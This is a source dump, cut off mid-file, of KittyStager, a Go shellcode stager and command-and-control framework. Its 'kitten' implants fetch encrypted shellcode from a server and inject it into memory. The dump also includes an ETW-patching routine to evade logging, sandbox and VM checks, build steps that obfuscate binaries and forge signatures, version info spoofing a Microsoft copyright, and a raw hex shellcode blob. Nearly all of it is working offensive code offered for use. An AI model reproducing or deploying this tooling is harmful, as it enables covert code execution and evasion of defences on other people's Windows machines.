├── img
├── chat.png
├── KittyRecon.png
├── KittySleep.png
├── KittyTarget.png
├── KittyCheckin.png
├── KittyInteract.png
└── KittyShellcode.png
├── shellcode
├── loader.bin
└── shellcode.bin
├── kittens
├── basicKitten
│ ├── resource.syso
│ ├── conf.txt
│ ├── versioninfo.json
│ └── basicKitten.go
├── bananaKitten
│ ├── conf.txt
│ └── bananaKitten.go
├── dllKitten
│ ├── conf.txt
│ └── dllKitten.go
├── haloKitten
│ ├── conf.txt
│ └── haloKitten.go
└── recycleKitten
│ ├── conf.txt
│ └── recycleKitten.go
├── .gitignore
├── cmd
├── generate
│ ├── kittens.yml
│ ├── generate.go
│ └── generateUtil.go
├── config
│ ├── conf.yml
│ └── config.go
├── util
│ ├── task.go
│ ├── initialChecks.go
│ ├── malConf.go
│ └── util.go
├── crypto
│ ├── cryptoUtil.go
│ └── chacha20.go
├── http
│ ├── kitten.go
│ ├── httpServer.go
│ ├── httpUtil.go
│ └── opaque.go
├── malwareUtil
│ ├── malwareUtil.go
│ ├── opaque.go
│ └── conUtil.go
├── cli
│ ├── cli.go
│ └── util.go
└── srdi
│ └── dllToShellcode.go
├── go.mod
├── kittyStager.go
├── README.md
└── go.sum
/img/chat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/chat.png
--------------------------------------------------------------------------------
/img/KittyRecon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyRecon.png
--------------------------------------------------------------------------------
/img/KittySleep.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittySleep.png
--------------------------------------------------------------------------------
/img/KittyTarget.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyTarget.png
--------------------------------------------------------------------------------
/img/KittyCheckin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyCheckin.png
--------------------------------------------------------------------------------
/img/KittyInteract.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyInteract.png
--------------------------------------------------------------------------------
/shellcode/loader.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/shellcode/loader.bin
--------------------------------------------------------------------------------
/img/KittyShellcode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/img/KittyShellcode.png
--------------------------------------------------------------------------------
/kittens/basicKitten/resource.syso:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Neo23x0/KittyStager/main/kittens/basicKitten/resource.syso
--------------------------------------------------------------------------------
/shellcode/shellcode.bin:
--------------------------------------------------------------------------------
1 | 505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3
--------------------------------------------------------------------------------
/kittens/bananaKitten/conf.txt:
--------------------------------------------------------------------------------
1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""}
--------------------------------------------------------------------------------
/kittens/basicKitten/conf.txt:
--------------------------------------------------------------------------------
1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""}
--------------------------------------------------------------------------------
/kittens/dllKitten/conf.txt:
--------------------------------------------------------------------------------
1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""}
--------------------------------------------------------------------------------
/kittens/haloKitten/conf.txt:
--------------------------------------------------------------------------------
1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""}
--------------------------------------------------------------------------------
/kittens/recycleKitten/conf.txt:
--------------------------------------------------------------------------------
1 | {"Host":"http://127.0.0.1:8080","Endpoint":"/legit","UserAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0","Sleep":1,"Reg1":"/reg1","Reg2":"/reg2","Auth1":"/auth1","Auth2":"/auth2","Cookie":""}
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Binaries for programs and plugins
2 | *.exe
3 | *.exe~
4 | *.dll
5 | *.so
6 | *.dylib
7 | *.h
8 |
9 | # Test binary, built with `go test -c`
10 | *.test
11 |
12 | # Output of the go coverage tool, specifically when used with LiteIDE
13 | *.out
14 | /shellcode/*
15 | # Go workspace file
16 | go.work
17 |
18 | # idea files
19 | /.idea/
20 | /test/
21 |
--------------------------------------------------------------------------------
/cmd/generate/kittens.yml:
--------------------------------------------------------------------------------
1 | Kittens:
2 | - name: "BasicKitten"
3 | path: "./kittens/basicKitten/"
4 | - name: "BananaKitten"
5 | path: "./kittens/bananaKitten"
6 | - name: "DllKitten"
7 | path: "./kittens/dllKitten"
8 | - name: "HaloKitten"
9 | path: "./kittens/haloKitten"
10 | - name: "RecycleKitten"
11 | path: "./kittens/recycleKitten"
12 |
--------------------------------------------------------------------------------
/cmd/config/conf.yml:
--------------------------------------------------------------------------------
1 | Http:
2 | host: "127.0.0.1"
3 | port: 8080
4 | endpoint: "/legit"
5 | sleep: 1
6 | userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/102.0"
7 | malPath:
8 | - "kittens/basicKitten/"
9 | - "kittens/bananaKitten/"
10 | - "kittens/dllKitten/"
11 | - "kittens/haloKitten/"
12 | - "kittens/recycleKitten/"
13 | reg1: "/reg1"
14 | reg2: "/reg2"
15 | auth1: "/auth1"
16 | auth2: "/auth2"
--------------------------------------------------------------------------------
/cmd/util/task.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import "encoding/json"
4 |
5 | // Task is the struct that contains the tasks
6 | type Task struct {
7 | Tag string `json:"Tag"`
8 | Payload []byte `json:"Payload"`
9 | }
10 |
11 | func NewTask() *Task {
12 | return &Task{}
13 | }
14 |
15 | // TaskUnmarshalJSON unmarshal the json
16 | func TaskUnmarshalJSON(j []byte) (*Task, error) {
17 | iniCheck := NewTask()
18 | err := json.Unmarshal(j, &iniCheck)
19 | if err != nil {
20 | return &Task{}, err
21 | }
22 | return iniCheck, nil
23 | }
24 |
25 | func (T *Task) GetTag() string {
26 | return T.Tag
27 | }
28 |
29 | func (T *Task) SetTag(t string) {
30 | T.Tag = t
31 | }
32 |
33 | func (T *Task) GetPayload() []byte {
34 | return T.Payload
35 | }
36 |
37 | func (T *Task) SetPayload(p []byte) {
38 | T.Payload = p
39 | }
40 |
--------------------------------------------------------------------------------
/kittens/basicKitten/versioninfo.json:
--------------------------------------------------------------------------------
1 | {
2 | "FixedFileInfo": {
3 | "FileVersion": {
4 | "Major": 1,
5 | "Minor": 0,
6 | "Patch": 0,
7 | "Build": 0
8 | },
9 | "ProductVersion": {
10 | "Major": 1,
11 | "Minor": 0,
12 | "Patch": 0,
13 | "Build": 0
14 | },
15 | "FileFlagsMask": "3f",
16 | "FileFlags ": "00",
17 | "FileOS": "040004",
18 | "FileType": "01",
19 | "FileSubType": "00"
20 | },
21 | "StringFileInfo": {
22 | "Comments": "",
23 | "CompanyName": "",
24 | "FileDescription": "",
25 | "FileVersion": "",
26 | "InternalName": "",
27 | "LegalCopyright": "© Microsoft Corporation. All rights reserved.",
28 | "LegalTrademarks": "",
29 | "OriginalFilename": "",
30 | "PrivateBuild": "",
31 | "ProductName": "",
32 | "ProductVersion": "v1.3.5.1",
33 | "SpecialBuild": ""
34 | },
35 | "VarFileInfo": {
36 | "Translation": {
37 | "LangID": "0409",
38 | "CharsetID": "04B0"
39 | }
40 | },
41 | "IconPath": "",
42 | "ManifestPath": ""
43 | }
44 |
--------------------------------------------------------------------------------
/cmd/crypto/cryptoUtil.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "errors"
5 | )
6 |
7 | // Encrypt cypher the shellcode with chacha20
8 | func Encrypt(payload []byte, key string) ([]byte, error) {
9 | if len(key) != 32 {
10 | return nil, errors.New("the key needs to be 32 chars long")
11 | }
12 | chacha20 := NewChaCha20()
13 | byteKey := []byte(key)
14 | cypherPayload, _ := chacha20.Encrypt(payload, byteKey)
15 | return cypherPayload, nil
16 | }
17 |
18 | // Decrypt decode the payload with chacha20
19 | func Decrypt(cypherText []byte, key []byte) ([]byte, error) {
20 | if len(key) != 32 {
21 | return nil, errors.New("the key needs to be 32 chars long")
22 | }
23 | chacha20 := NewChaCha20()
24 | byteKey := key
25 | plainText, _ := chacha20.Decrypt(cypherText, byteKey)
26 | return plainText, nil
27 | }
28 |
29 | // GenerateKey generate the key with the hostname
30 | func GenerateKey(hostname string, size int) string {
31 | // generate 32 char key
32 | key := hostname
33 | for len(key) < size {
34 | key = key + hostname
35 | }
36 | if len(key) > size {
37 | key = key[:size]
38 | }
39 | return key
40 | }
41 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module KittyStager
2 |
3 | go 1.19
4 |
5 | require (
6 | github.com/C-Sto/BananaPhone v0.0.0-20220322014042-1265045cb6c5
7 | github.com/JoaoDanielRufino/go-input-autocomplete v1.0.4
8 | github.com/briandowns/spinner v1.19.0
9 | github.com/c-bata/go-prompt v0.2.6
10 | github.com/fourcorelabs/wintoken v1.0.0
11 | github.com/frekui/opaque v0.2.0
12 | github.com/logrusorgru/aurora v2.0.3+incompatible
13 | github.com/timwhitez/Doge-Gabh v1.9.2
14 | golang.org/x/crypto v0.1.0
15 | golang.org/x/sys v0.1.0
16 | gopkg.in/yaml.v3 v3.0.1
17 | )
18 |
19 | require (
20 | github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect
21 | github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
22 | github.com/eiannone/keyboard v0.0.0-20200508000154-caf4b762e807 // indirect
23 | github.com/fatih/color v1.7.0 // indirect
24 | github.com/mattn/go-colorable v0.1.9 // indirect
25 | github.com/mattn/go-isatty v0.0.16 // indirect
26 | github.com/mattn/go-runewidth v0.0.13 // indirect
27 | github.com/mattn/go-tty v0.0.3 // indirect
28 | github.com/pkg/term v1.2.0-beta.2 // indirect
29 | github.com/rivo/uniseg v0.2.0 // indirect
30 | )
31 |
--------------------------------------------------------------------------------
/kittens/basicKitten/basicKitten.go:
--------------------------------------------------------------------------------
1 | //go:generate goversioninfo
2 | //go:build windows
3 |
4 | package main
5 |
6 | import (
7 | "KittyStager/cmd/malwareUtil"
8 | "KittyStager/cmd/util"
9 | _ "embed"
10 | "golang.org/x/sys/windows"
11 | )
12 |
13 | //go:embed conf.txt
14 | var t string
15 |
16 | func main() {
17 | malConf, err := util.MalConfUnmarshalJSON([]byte(t))
18 | if err != nil {
19 | return
20 | }
21 | shellcode := malwareUtil.Connect(malConf)
22 | inject(shellcode)
23 | }
24 |
25 | func inject(shellcode []byte) {
26 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
27 | createThread := kernel32.NewProc("CreateThread")
28 | shellcodeExec, _ := windows.VirtualAlloc(
29 | uintptr(0),
30 | uintptr(len(shellcode)),
31 | windows.MEM_COMMIT|windows.MEM_RESERVE,
32 | windows.PAGE_READWRITE)
33 |
34 | malwareUtil.Memcpy(shellcodeExec, shellcode)
35 |
36 | var oldProtect uint32
37 | windows.VirtualProtect(
38 | shellcodeExec,
39 | uintptr(len(shellcode)),
40 | windows.PAGE_EXECUTE_READ,
41 | &oldProtect)
42 |
43 | hThread, _, _ := createThread.Call(
44 | 0,
45 | 0,
46 | shellcodeExec,
47 | uintptr(0),
48 | 0,
49 | 0)
50 |
51 | windows.WaitForSingleObject(
52 | windows.Handle(hThread),
53 | windows.INFINITE)
54 | }
55 |
--------------------------------------------------------------------------------
/cmd/generate/generate.go:
--------------------------------------------------------------------------------
1 | package generate
2 |
3 | import (
4 | "errors"
5 | "gopkg.in/yaml.v3"
6 | "os"
7 | "path/filepath"
8 | )
9 |
10 | type KittenList struct {
11 | Kittens []Kittens `yaml:"Kittens"`
12 | }
13 | type Kittens struct {
14 | Name string `yaml:"name"`
15 | Path string `yaml:"path"`
16 | Compile string `yaml:"compile"`
17 | }
18 |
19 | func NewKittenList() (*KittenList, error) {
20 | var list KittenList
21 | filename, err := filepath.Abs("cmd\\generate\\kittens.yml")
22 | if err != nil {
23 | return nil, err
24 | }
25 | file, err := os.ReadFile(filename)
26 | if err != nil {
27 | return nil, err
28 | }
29 | err = yaml.Unmarshal(file, &list)
30 | if err != nil {
31 | return nil, err
32 | }
33 | return &list, error(nil)
34 | }
35 |
36 | func (k *KittenList) GetKittenNames() []string {
37 | var names []string
38 | for _, v := range k.Kittens {
39 | names = append(names, v.Name)
40 | }
41 | return names
42 | }
43 |
44 | func (k *KittenList) GetKittenPaths() []string {
45 | var paths []string
46 | for _, v := range k.Kittens {
47 | paths = append(paths, v.Path)
48 | }
49 | return paths
50 | }
51 |
52 | func (k *KittenList) GetKittensPath(name string) (string, error) {
53 | for _, v := range k.Kittens {
54 | if v.Name == name {
55 | return v.Path, error(nil)
56 | }
57 | }
58 | return "", errors.New("kitten not found")
59 | }
60 |
61 | func (k *KittenList) GetKittensCompile(name string) (string, error) {
62 | for _, v := range k.Kittens {
63 | if v.Name == name {
64 | return v.Compile, error(nil)
65 | }
66 | }
67 | return "", errors.New("kitten not found")
68 | }
69 |
--------------------------------------------------------------------------------
/kittyStager.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "KittyStager/cmd/cli"
5 | "KittyStager/cmd/config"
6 | "KittyStager/cmd/http"
7 | "KittyStager/cmd/util"
8 | "flag"
9 | "fmt"
10 | color "github.com/logrusorgru/aurora"
11 | "time"
12 | )
13 |
14 | func main() {
15 | path := flag.String("p", "cmd/config/conf.yml", "Path to the config file")
16 | flag.Parse()
17 | fmt.Println(color.Cyan(" _\n / )\n ( (\n A.-.A .-\"\"-. ) )\n / , , \\/ \\/ /\n =\\ t ;= / /\n `--,' .\"\"| /\n || | \\\\ \\\n ((,_| ((,_\\\n"))
18 | fmt.Println(color.Cyan("KittyStager - A simple stager written in Go\n"))
19 | // Get the config
20 | conf, err := config.NewConfig(*path)
21 | if err != nil {
22 | util.ErrPrint(err)
23 | return
24 | }
25 | // Check the config
26 | err = conf.CheckConfig()
27 | if err != nil {
28 | util.ErrPrint(err)
29 |
30 | return
31 | }
32 | fmt.Println(color.Green("[+] Config loaded"))
33 | // Generate config file for the malware's
34 | err = util.GenerateConfig(*conf)
35 | if err != nil {
36 | util.ErrPrint(err)
37 | return
38 | }
39 | fmt.Println(color.Green("[+] Config file generated"))
40 | fmt.Println(color.Green("[+] Starting http server"))
41 | fmt.Printf("%s %d%s %s %s\n", color.Green("[+] Sleep set to"), color.Yellow(conf.GetSleep()), color.Yellow("s"), color.Green("on"), color.Yellow("all targets"))
42 |
43 | // Start the http server
44 | go http.CreateHttpServer(*conf)
45 | go http.CheckAlive()
46 | //wait for the http server to start
47 | time.Sleep(200 * time.Millisecond)
48 | cli.Cli(*conf)
49 | }
50 |
--------------------------------------------------------------------------------
/cmd/crypto/chacha20.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/cipher"
5 | "errors"
6 | "golang.org/x/crypto/chacha20poly1305"
7 | )
8 |
9 | //https://github.com/alinz/crypto.go/blob/main/chacha20.go
10 |
11 | // ChaCha20 enecryption type
12 | type ChaCha20 struct{}
13 |
14 | func (c ChaCha20) prepareKey(key []byte) (cipher.AEAD, int, error) {
15 | aead, err := chacha20poly1305.NewX(key)
16 | if err != nil {
17 | return nil, 0, err
18 | }
19 | return aead, aead.NonceSize(), nil
20 | }
21 |
22 | // Encrypt encrypts data using given key
23 | func (c ChaCha20) Encrypt(data []byte, key []byte) ([]byte, error) {
24 | aead, nonceSize, err := c.prepareKey(key)
25 | if err != nil {
26 | return nil, err
27 | }
28 |
29 | // Select a random nonce, and leave capacity for the ciphertext.
30 | nonce := make([]byte, nonceSize, nonceSize+len(data)+aead.Overhead())
31 |
32 | // Encrypt the message and append the ciphertext to the nonce.
33 | return aead.Seal(nonce, nonce, data, nil), nil
34 | }
35 |
36 | // Decrypt decrypts data using given key
37 | func (c ChaCha20) Decrypt(data []byte, key []byte) ([]byte, error) {
38 | aead, nonceSize, err := c.prepareKey(key)
39 | if err != nil {
40 | return nil, err
41 | }
42 |
43 | if len(data) < nonceSize {
44 | return nil, errors.New("ciphertext too short")
45 | }
46 |
47 | // Split nonce and ciphertext.
48 | nonce, ciphertext := data[:nonceSize], data[nonceSize:]
49 |
50 | // Decrypt the message and check it wasn't tampered with.
51 | plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
52 | if err != nil {
53 | if err.Error() == "chacha20poly1305: message authentication failed" {
54 | return nil, errors.New("wrong key")
55 | }
56 | return nil, err
57 | }
58 |
59 | return plaintext, nil
60 | }
61 |
62 | func NewChaCha20() *ChaCha20 {
63 | return &ChaCha20{}
64 | }
65 |
--------------------------------------------------------------------------------
/cmd/generate/generateUtil.go:
--------------------------------------------------------------------------------
1 | package generate
2 |
3 | import (
4 | "fmt"
5 | "os/exec"
6 | )
7 |
8 | func GoBuild(output, path string) (error, string) {
9 | cmd := exec.Command("powershell", "go", "build", "-ldflags", "\"-H=windowsgui -s -w\"", "-o", output, path)
10 | cmdLine := fmt.Sprintf("%s", cmd.Args)
11 | err := cmd.Run()
12 | if err != nil {
13 | return err, ""
14 | }
15 | return error(nil), cmdLine
16 | }
17 |
18 | func GarbleBuild(output, path string) (error, string) {
19 | cmd1 := exec.Command("garble", "-h")
20 | err := cmd1.Run()
21 | if err.Error() != "exit status 2" {
22 | return err, ""
23 | }
24 | cmd2 := exec.Command("garble", "-tiny", "build", "-o", output, path)
25 | cmdLine := fmt.Sprintf("%s", cmd2.Args)
26 | fmt.Println(cmdLine)
27 | err2 := cmd2.Run()
28 | if err2 != nil {
29 | fmt.Println(cmd2.CombinedOutput())
30 | return err2, ""
31 | }
32 | return error(nil), cmdLine
33 | }
34 |
35 | func Signe(signedBinary, path string) (error, string) {
36 | cmd1 := exec.Command("Mangle", "-h")
37 | err := cmd1.Run()
38 | if err != nil {
39 | return err, ""
40 | }
41 | cmd2 := exec.Command("Mangle", "-C", signedBinary, "-M", "-I", path, "-O", path)
42 | cmdLine := fmt.Sprintf("%s", cmd2.Args)
43 | err = cmd2.Run()
44 | if err != nil {
45 | fmt.Println(cmd2.CombinedOutput())
46 | return err, ""
47 | }
48 | return error(nil), cmdLine
49 | }
50 |
51 | func Description(path string) (error, string) {
52 | cmd1 := exec.Command("goversioninfo")
53 | err := cmd1.Run()
54 | if err.Error() != "exit status 1" {
55 | fmt.Println(err)
56 | return err, ""
57 | }
58 | cmd2 := exec.Command("go", "generate", path)
59 | cmdLine := fmt.Sprintf("%s", cmd2.Args)
60 | err = cmd2.Run()
61 | if err != nil {
62 | fmt.Println(cmd2.CombinedOutput())
63 | return err, ""
64 | }
65 | return error(nil), cmdLine
66 | }
67 |
--------------------------------------------------------------------------------
/cmd/http/kitten.go:
--------------------------------------------------------------------------------
1 | package http
2 |
3 | import (
4 | "KittyStager/cmd/util"
5 | "github.com/frekui/opaque"
6 | "time"
7 | )
8 |
9 | // Kitten is a struct that contains all the information about a kittens
10 | type Kitten struct {
11 | Name string
12 | Payload []byte
13 | Sleep int
14 | Id int
15 | LastSeen time.Time
16 | InitChecks util.InitialChecks
17 | Alive bool
18 | Key string
19 | Opaque *opaque.User
20 | }
21 |
22 | func NewKitten() *Kitten {
23 | return &Kitten{}
24 | }
25 |
26 | func (K *Kitten) GetName() string {
27 | return K.Name
28 | }
29 |
30 | func (K *Kitten) SetName(name string) {
31 | K.Name = name
32 | }
33 |
34 | func (K *Kitten) GetPayload() []byte {
35 | return K.Payload
36 | }
37 |
38 | func (K *Kitten) SetPayload(sc []byte) {
39 | K.Payload = sc
40 | }
41 |
42 | func (K *Kitten) GetId() int {
43 | return K.Id
44 | }
45 |
46 | func (K *Kitten) SetId(id int) {
47 | K.Id = id
48 | }
49 |
50 | func (K *Kitten) GetLastSeen() time.Time {
51 | return K.LastSeen
52 | }
53 |
54 | func (K *Kitten) SetLastSeen(t time.Time) {
55 | K.LastSeen = t
56 | }
57 |
58 | func (K *Kitten) GetInitChecks() util.InitialChecks {
59 | return K.InitChecks
60 | }
61 |
62 | func (K *Kitten) SetInitChecks(c util.InitialChecks) {
63 | K.InitChecks = c
64 | }
65 |
66 | func (K *Kitten) GetSleep() int {
67 | return K.Sleep
68 | }
69 |
70 | func (K *Kitten) SetSleep(t int) {
71 | K.Sleep = t
72 | }
73 |
74 | func (K *Kitten) GetAlive() bool {
75 | return K.Alive
76 | }
77 |
78 | func (K *Kitten) SetAlive(b bool) {
79 | K.Alive = b
80 | }
81 |
82 | func (K *Kitten) GetKey() string {
83 | return K.Key
84 | }
85 |
86 | func (K *Kitten) SetKey(key string) {
87 | K.Key = key
88 | }
89 |
90 | func (K *Kitten) GetOpaque() *opaque.User {
91 | return K.Opaque
92 | }
93 |
94 | func (K *Kitten) SetOpaque(u *opaque.User) {
95 | K.Opaque = u
96 | }
97 |
--------------------------------------------------------------------------------
/cmd/malwareUtil/malwareUtil.go:
--------------------------------------------------------------------------------
1 | package malwareUtil
2 |
3 | import (
4 | "golang.org/x/sys/windows"
5 | "net/http"
6 | "syscall"
7 | "unsafe"
8 | )
9 |
10 | var (
11 | fntdll = syscall.NewLazyDLL("ntdll.dll")
12 | fucketw = fntdll.NewProc("EtwEventWrite")
13 | k32 = syscall.NewLazyDLL("kernel32.dll")
14 | WriteProcessMemory = k32.NewProc("WriteProcessMemory")
15 | )
16 |
17 | // EtwPatch patches the EtwEventWrite function
18 | // https://github.com/timwhitez/Doge-Assembly/blob/main/loader/etw.go
19 | // write arbitrary ret opcodes into the ETW event writing function (EtwEventWrite) to bypass ETW
20 | func EtwPatch(hProcess uintptr) {
21 | var oldProtect uint32
22 | var patch = []byte{0xc3}
23 |
24 | windows.VirtualProtect(fucketw.Addr(), 1, windows.PAGE_EXECUTE_READWRITE, &oldProtect)
25 | WriteProcessMemory.Call(hProcess, fucketw.Addr(), uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0)
26 | windows.VirtualProtect(fucketw.Addr(), 1, oldProtect, &oldProtect)
27 | }
28 |
29 | // VmCheck checks if the process is running in a VM and returns true
30 | func VmCheck() bool {
31 | if checkRam() {
32 | return true
33 | }
34 | if checkUrl() {
35 | return true
36 | }
37 | return false
38 | }
39 |
40 | // Memcpy is a replacement for the C memcpy function
41 | // https://github.dev/timwhitez/Doge-Gabh/blob/main/example/shellcodecalc/calc.go
42 | func Memcpy(base uintptr, buf []byte) {
43 | for i := 0; i < len(buf); i++ {
44 | *(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i]
45 | }
46 | }
47 |
48 | // checkRam checks if the system has less than 1GB of ram
49 | func checkRam() bool {
50 | var mem uint64
51 | k32.NewProc("GetPhysicallyInstalledSystemMemory").Call(uintptr(unsafe.Pointer(&mem)))
52 | // if ram is less than 1GB, return false
53 | return mem < 1000000
54 | }
55 |
56 | // checkUrl checks if a random url exist
57 | func checkUrl() bool {
58 | n := generateName(8)
59 | url := "http://" + n + ".com"
60 | _, err := http.Get(url)
61 | if err == nil {
62 | // if the url exists, return true
63 | return true
64 | }
65 | return false
66 | }
67 |
--------------------------------------------------------------------------------
/cmd/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "errors"
5 | "gopkg.in/yaml.v3"
6 | "log"
7 | "os"
8 | "path/filepath"
9 | )
10 |
11 | // General is the struct that contains the config
12 | type General struct {
13 | Conf Http `yaml:"Http"`
14 | }
15 |
16 | type Http struct {
17 | Host string `yaml:"host"`
18 | Port int `yaml:"port"`
19 | EndPoint string `yaml:"endpoint"`
20 | Sleep int `yaml:"sleep"`
21 | UserAgent string `yaml:"userAgent"`
22 | MalPath []string `yaml:"malPath,flow"`
23 | Reg1 string `yaml:"reg1"`
24 | Reg2 string `yaml:"reg2"`
25 | Auth1 string `yaml:"auth1"`
26 | Auth2 string `yaml:"auth2"`
27 | }
28 |
29 | func NewConfig(path string) (*General, error) {
30 | var conf General
31 | filename, err := filepath.Abs(path)
32 | if err != nil {
33 | return &conf, err
34 | }
35 | file, err := os.ReadFile(filename)
36 | if err != nil {
37 | return &conf, err
38 | }
39 | err = yaml.Unmarshal(file, &conf)
40 | if err != nil {
41 | log.Fatal(err)
42 | }
43 | return &conf, error(nil)
44 | }
45 |
46 | func (c *General) GetHost() string {
47 | return c.Conf.Host
48 | }
49 |
50 | func (c *General) GetPort() int {
51 | return c.Conf.Port
52 | }
53 |
54 | func (c *General) GetEndpoint() string {
55 | return c.Conf.EndPoint
56 | }
57 |
58 | func (c *General) GetMalPath() []string {
59 | return c.Conf.MalPath
60 | }
61 |
62 | func (c *General) GetMalPathWithId(i int) string {
63 | return c.Conf.MalPath[i]
64 | }
65 |
66 | func (c *General) GetUserAgent() string {
67 | return c.Conf.UserAgent
68 | }
69 |
70 | func (c *General) GetSleep() int {
71 | return c.Conf.Sleep
72 | }
73 |
74 | func (c *General) GetReg1() string {
75 | return c.Conf.Reg1
76 | }
77 |
78 | func (c *General) GetReg2() string {
79 | return c.Conf.Reg2
80 | }
81 |
82 | func (c *General) GetAuth1() string {
83 | return c.Conf.Auth1
84 | }
85 |
86 | func (c *General) GetAuth2() string {
87 | return c.Conf.Auth2
88 | }
89 |
90 | func (c *General) CheckConfig() error {
91 | if c.Conf.Host == "" || c.Conf.Port == 0 || c.Conf.EndPoint == "" || c.Conf.UserAgent == "" || c.Conf.MalPath == nil {
92 | return errors.New("please check your config file")
93 | }
94 | return nil
95 | }
96 |
--------------------------------------------------------------------------------
/cmd/util/initialChecks.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import "encoding/json"
4 |
5 | // InitialChecks is the struct that contains the initial recon
6 | type InitialChecks struct {
7 | Hostname string `json:"hostname"`
8 | Username string `json:"username"`
9 | Domain string `json:"domain"`
10 | Ip string `json:"ip"`
11 | KittenName string `json:"name"`
12 | Dir []string `json:"folders,flow"`
13 | //process
14 | Pid int `json:"pid"`
15 | PName string `json:"pname"`
16 | Path string `json:"path"`
17 | }
18 |
19 | func NewInitialChecks() *InitialChecks {
20 | return &InitialChecks{}
21 | }
22 |
23 | // InitUnmarshalJSON unmarshal the json
24 | func InitUnmarshalJSON(j []byte) (*InitialChecks, error) {
25 | iniCheck := NewInitialChecks()
26 | err := json.Unmarshal(j, &iniCheck)
27 | if err != nil {
28 | return &InitialChecks{}, err
29 | }
30 | return iniCheck, nil
31 | }
32 |
33 | func (I *InitialChecks) GetHostname() string {
34 | return I.Hostname
35 | }
36 |
37 | func (I *InitialChecks) SetHostname(h string) {
38 | I.Hostname = h
39 | }
40 |
41 | func (I *InitialChecks) GetUsername() string {
42 | return I.Username
43 | }
44 |
45 | func (I *InitialChecks) SetUsername(u string) {
46 | I.Username = u
47 | }
48 |
49 | func (I *InitialChecks) GetDir() []string {
50 | return I.Dir
51 | }
52 |
53 | func (I *InitialChecks) SetDir(d []string) {
54 | I.Dir = d
55 | }
56 |
57 | func (I *InitialChecks) GetIp() string {
58 | return I.Ip
59 | }
60 |
61 | func (I *InitialChecks) SetIp(ip string) {
62 | I.Ip = ip
63 | }
64 |
65 | func (I *InitialChecks) GetKittenName() string {
66 | return I.KittenName
67 | }
68 |
69 | func (I *InitialChecks) SetKittenName(k string) {
70 | I.KittenName = k
71 | }
72 |
73 | func (I *InitialChecks) GetDomain() string {
74 | return I.Domain
75 | }
76 |
77 | func (I *InitialChecks) SetDomain(d string) {
78 | I.Domain = d
79 | }
80 |
81 | func (I *InitialChecks) GetPid() int {
82 | return I.Pid
83 | }
84 |
85 | func (I *InitialChecks) SetPid(p int) {
86 | I.Pid = p
87 | }
88 |
89 | func (I *InitialChecks) GetPName() string {
90 | return I.PName
91 | }
92 |
93 | func (I *InitialChecks) SetPName(p string) {
94 | I.PName = p
95 | }
96 |
97 | func (I *InitialChecks) GetPath() string {
98 | return I.Path
99 | }
100 |
101 | func (I *InitialChecks) SetPath(p string) {
102 | I.Path = p
103 | }
104 |
--------------------------------------------------------------------------------
/cmd/malwareUtil/opaque.go:
--------------------------------------------------------------------------------
1 | package malwareUtil
2 |
3 | import (
4 | "KittyStager/cmd/crypto"
5 | "KittyStager/cmd/util"
6 | "encoding/base64"
7 | "encoding/json"
8 | "fmt"
9 | "github.com/frekui/opaque"
10 | )
11 |
12 | // doPwReg is the OPAQUE registration sequence
13 | func doPwreg(username, password string, conf *util.MalConf) error {
14 | endpoint1 := conf.Reg1
15 | endpoint2 := conf.Reg2
16 | sess, msg1, err := opaque.PwRegInit(username, password, 512)
17 | if err != nil {
18 | return err
19 | }
